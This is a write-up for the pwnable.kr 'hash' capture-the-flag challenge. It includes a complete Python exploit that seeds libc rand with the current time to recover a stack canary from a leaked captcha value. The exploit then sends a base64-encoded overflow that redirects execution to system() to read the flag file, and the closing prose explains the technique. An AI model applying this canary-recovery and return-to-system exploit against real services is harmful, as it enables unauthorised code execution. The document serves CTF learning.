Pwnable Challenge: Hash

This is a write up for the Rookiss level pwnable.kr challenge hash. Heres my exploit code:

#sploitz brah
#hash local sploit

import re
import time
import struct
from ctypes import *
import base64
import socket

#use ctypes to get access to libc functions (like srand and rand)
libc = CDLL("libc.so.6")
#get timestamp
ts = libc.time(0)

#then immediately start the hash process so the times align
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9002))

f = s.makefile()
line = f.readline()
line = f.readline()

captcha = int(line.split(" : ")[1].strip())
print "Captcha: %d" % captcha

#captcha = v7 - v9 + v10 + v11 (canary) + v5 - v6 + v4 + v8
#v11 (canary) = captcha - v7 + v9 - v10 -v5 + v6 - v4 - v8
#seed rand with correct time
libc.srand(ts)
v3 = []

for i in range(0, 8):
    v3.append(libc.rand())

#get canary and cast it to an unsigned int
canary = c_uint(captcha - v3[4] + v3[6] - v3[7] - v3[2] + v3[3] - v3[1] - v3[5]).value
canary_bytes = struct.pack("<I", canary)

print "Canary: 0x%08x" % canary

s.send(str(captcha)+"\n")

sys_arg = "\x00/bin/cat /home/hash/flag\x00"
hash_input = "A"*512+canary_bytes+"B"*12+"\x86\x88\x04\x08CCCC\x65\xb4\x04\x08"+"D"*500
encoded_input = base64.b64encode(hash_input)

s.send(encoded_input[:900]+sys_arg+"\n")

for i in range(0,4):
    line = f.readline()

print "Flag: %s" % line.strip()

Alright so the tricky part of this challenge was the realization that the stack canary value was part of the equation that calculated the “captcha” number displayed by the program. I only realized this after looking at the c source in hexrays. This was where the variable names in the comment “captcha = v7 – v9 + v10 + v11 (canary) + v5 – v6 + v4 + v8” come from. The next obstacle was that the v* values were randomly generated. However if you run the script from the same server (hence the hint) and seed srand with the same timestamp, you can get the same random values with rand from libc. Thus you can calculate the canary and defeat the stack protection. After that its a pretty standard stack buffer overflow from the good old days when people didn’t worry about memory corruption and NSYNC was still cool. The input string is 512 bytes of junk followed by the canary followed by some more junk and then the return address is overwritten with the address of system followed by a junk return address followed by a pointer to the string “/bin/cat /home/hash/flag”, the argument passed to system.

I wasted a lot of time on this one because I misinterpreted the clue and felt that somehow I was supposed to gain code execution by messing with the environment variables, possibly by changing the PATH so i could control the execution of “date”. In retrospect this makes no sense but I don’t want to give the false impression that I figured this one out immediately. This was an interesting challenge though it is very unlikely that someone will intentionally leak the value of the stack canary in real life situations.